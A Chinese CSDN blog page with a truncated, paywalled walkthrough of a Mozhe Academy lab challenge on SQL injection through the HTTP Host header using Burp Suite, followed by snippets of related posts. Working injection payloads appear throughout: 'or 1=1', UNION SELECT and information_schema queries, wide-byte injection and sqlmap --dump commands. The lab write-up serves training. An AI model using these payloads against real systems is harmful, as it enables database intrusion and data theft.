墨者学院-SQL注入漏洞测试(HTTP头注入)

最新推荐文章于 2023-12-04 20:01:05 发布
最新推荐文章于 2023-12-04 20:01:05 发布
阅读量1.2k 收藏 6
点赞数 1
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_39998158/article/details/100548451
版权
本文详细介绍了如何利用Firefox浏览器和burpsuite工具进行SQL注入漏洞测试，特别是针对HTTP头注入的情况。通过逐步操作，从截包、确认注入存在，到查看数据库表名、列名，最终获取到敏感信息，展示了完整的SQL注入攻击过程。
摘要由CSDN通过智能技术生成

SQL注入漏洞测试(HTTP头注入)

难易程度:★★
题目类型:SQL注入
使用工具:FireFox浏览器、burpsuite

1.打开靶场，使用burpsuite访问网页，截包。

2.把包send to repeater，根据题目为host注入，把host改为or 1=1，报错，证明存在注入。
在这里插入图片描述
3.输入union select 1,2,3,4 查看回显位置。
在这里插入图片描述
4.输入union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=database()) 查看表名。
在这里插入图片描述
显示四个表名，肯定在flag表里。

5.输入union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_

最低0.47元/天 解锁文章
JimWu95
关注
  • 1
    点赞
  • 踩
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
墨者学院--SQL注入漏洞测试(HTTP头注入)
Routine_limon的博客
07-19 907
这道题需要使用到Burp suite这个工具。先简单的说下使用步骤： 简述下4个按钮的作用： ①Forward的功能是当你查看过消息或者重新编辑过消息之后，点击此按钮，将发送消息至服务器端。 ②Drop的功能是你想丢失当前拦截的消息，不再forward到服务器端。 ③Interception is on表示拦截功能打开，拦截所有通过Burp Proxy的请求数据；Interception is ...
墨者学院之SQL手工注入漏洞测试(MySQL数据库)
Chris_HackFromCN的博客
08-12 661
Do what you said,say what you can do 做你说过的，说你能做的 关于手工注入，网上已经有很多教程，本文讲解的是使用SQLmap工具来对该关卡进行注入，最后找到key。 首先打开靶场环境，可以看到用户登录的场景，里面包含账号和密码两个输入框。 对账号密码输入框进行注入测试，但都不成功，此时发现在登录按钮下面有一条维护通知，于是点进去.... 3. 如上图所示，进入到维护通知页面之后，发现其URL地址栏带有参数id，猜测该参数可能是注...
墨者 - SQL注入漏洞测试(HTTP头注入)
吃肉唐僧的博客
07-07 2517
手动判断注入点 判断字段 判断表名union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=database...
墨者SQL注入漏洞测试(HTTP头注入)
wswr的博客
03-10 814
思路：根据题设吧，那肯定是往http的字段注入了，那就是看看分别啥字段，然后挨个试试注入语句试试，然后吧就会发现注入点（事实上这题最难的地方就是发现注入点，我感觉嗷） sql注入HTTP头部注入_hhhshd的博客-CSDN博客 看完这俩大哥思路应该就清晰了 原理：大概就是服务器端用函数抓取头部验证时，没有做什么限制，这样很危险，使得我们可以通过抓包修改字段内容来注入 点进去再说咯 刷新抓包，然后送到Repeatr那开始试注入点 反正就每个头部都加上 万能的 admin' or ..
墨者学院--SQL注入漏洞测试(布尔盲注)
老司机开代码的博客
08-03 559
文章目录题意解析注入过程爆数据库名爆表名爆字段名 今天做了一道墨者学院的盲注题目。头皮发麻。 题意解析 要求是找出moezhe开头的32为的key。 先看一下题目： 开始一看是这个界面，第一感觉以为是post提交表单的注入漏洞，然后一顿操作猛如虎，结果人都傻了。接着，底下那个通知就一直在那晃荡，抱着试试看的心理点进去，结果就发现了新大陆。 ?id，多么亲切的老朋友啊。一下子就豁然开朗了。 通过...
墨者学院之SQL注入漏洞测试(宽字节)
A_dmin的博客
02-24 1274
实验吧之SQL注入漏洞测试(宽字节) 首先进入界面，找注入点，找到如下页面： 由于已知是宽字节注入，直接输入： id=-1%df' 显示： 那么接下来就简单了，按照union注入即可： 判断字段：id=-1%df' order by 5%23(正常) id=-1%df' order by 6%23(报错) 说明只有5个字段 看回显： id=-1%df' union select 1,2,...
墨者靶场mysql头注入_靶场练习-墨者学院-sql注入-'X-Forwarded-For' 字段注入
weixin_39926193的博客
02-05 207
X-Forwarded-For知识点：X-Forwarded-For 是一个 HTTP 扩展头部。X-Forwarded-For 请求头格式：X-Forwarded-For:client,proxy1,proxy2X-Forwarded-For: client, proxy1, proxy2如果一个 HTTP 请求到达服务器之前，经过了三个代理 Proxy1、Proxy2、Proxy3，IP 分别...
墨者学院-HTML前端代码分析(暗链)、HTTP动作练习、IP地址伪造(第2题)
05-29
HTML前端代码分析(暗链)、HTTP动作练习、IP地址伪造(第2题)、phpMyAdmin后台文件包含分析溯源、PHP代码分析溯源(第1题)、PHP代码分析溯源(第2题)、PHP逻辑漏洞利用实战(第1题)、SQL手工注入漏洞测试(Access数据库)
墨者靶场 post ,DB2,绕过登录，sql注入四关
07-22
### 墨者靶场 Post、DB2、绕过登录及SQL注入四关攻略 #### 一、前言 在网络安全领域，靶场是检验安全技术能力的重要平台之一。本次攻略将详细介绍墨者靶场中的Post、DB2、绕过登录及SQL注入四个挑战关卡的解决方法...
APP原型实例：墨者科技-旅行小蜜APP2.0.rp
12-17
产品经理
0080 APP原型实例：墨者科技-旅行小蜜APP2.0.rp
01-06
rp原型源文件
墨者安全软件-免费杀毒软件
11-11
墨者安全专家是一款永久免费的免疫型安全防护软件，集墨者独创的 “革离术”、终身免费杀毒、修复系统漏洞、上网痕迹清理、网络防火墙、系统实时保护、安全互助社区等强大功能于一身。特别是独创的“革离术”，利用...
SQL注入漏洞测试(POST)
qq_36933272的博客
09-04 1789
任意输入用户名密码 开启burpsuite，设置代理，截断登陆POST请求的数据包 将数据包保存为txt文件，打开sqlmap 开始爆数据库，表，列，字段值,例如：sqlmap -r txt文件路径 --dbs；sqlmap -r txt文件路径 -D 数据库名 --tables；sqlmap -r txt文件路径 -D 数据库名 -T 表名 --columns … 爆出name值，passwor...
墨者学院 - SQL注入漏洞测试(POST)
多崎巡礼的博客
08-20 5356
此题和最开始拿到sql注入不一样，注入点不再是公告了，二是登陆页面的账号栏，简单的语句就能得到错误回显 根据题目提示，post请求 1）随便输入用户名和密码，然后使用 burp抓取登录界面的post包，保存为txt； 2）将txt放在sqlmap目录下； 3）打开sqlmap，使用post注入； sqlmap.py -r 文件路径/文件名 --dbs  //证明可以注入，且获取所有数据库名...
墨者学院——SQL注入漏洞测试(POST)
2303_76679642的博客
04-23 679
6.找字段内容“sqlmap -r post.txt --level 5 --risk 3 -D 数据库名 -T 数据表名 -C （字段1，字段2，....） --dump --dbms mysql --batch”5.找数据库表里面的字段“sqlmap -r post.txt --level 5 --risk 3 -D 数据库名 -T 数据表名 --columns --dbms mysql --batch”测试环境为Kali Linux。
mysql 注入用例_SQL注入漏洞安全测试(WVS/POST型/手工SQL注入)
weixin_32667439的博客
01-19 836
1、WVS自动化SQL注入测试n 测试目的:测试网站是否存在SQL注入漏洞。n 测试用例：1) Scansettings选择sql injection策略；2) 输入扫描网站URL，一直下一步(如果需要登陆点击New Login Sqquence)；3) 如果扫描结果如下显示，则网站不通过；5) 针对get形式url中存在多个参数，可以通过-p选项指定。2、W...
SQL手工注入漏洞测试(PostgreSQL数据库)-墨者
weoptions的博客
12-04 981
———靶场专栏———记录我的打靶过程
SQL注入漏洞-POST注入
HacHunter的博客
03-06 2569
POST是HTTP/1.1协议中的一种资源请求方法。其向指定资源提交数据，请求服务器进行处理（例如提交表单或者上传文件）。数据被包含在请求本文中。这个请求可能会创建新的资源或修改现有资源，或二者皆有。 在很大一部分的表单都是通过POST方式发送到处理页面的。 显错注入 关键代码为: 构造语句来显示所有的用户名和密码 ’OR 1# 关键代码为: 正常輸入因為數據庫里沒有所以查不到任何數據,而要查看到所有數據就需要使條件變為true 构造语句来显示所有的用户名和密码 "..
git教程【源码管理系统教程及版本管理功能教程】
最新发布
08-13
git是一种源码管理系统（source code management，缩写为SCM）。它对当前文件提供版本管理功能，核心思想是对当前文件建立一个对象数据库（object database），将历史版本信息存放在这个数据库中。 适用人群：学习不同技术领域的小白或进阶学习者；可作为毕设项目、课程设计、大作业、工程实训或初期项目立项。
墨者-sql手工注入漏洞测试
04-29
墨者安全团队是一支专注于网络安全领域的团队，他们致力于网络安全研究...总的来说，墨者安全团队的手工注入漏洞测试方法比较系统和全面，可以有效地发现目标网站中存在的注入漏洞，从而帮助企业提高网络安全防护水平。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值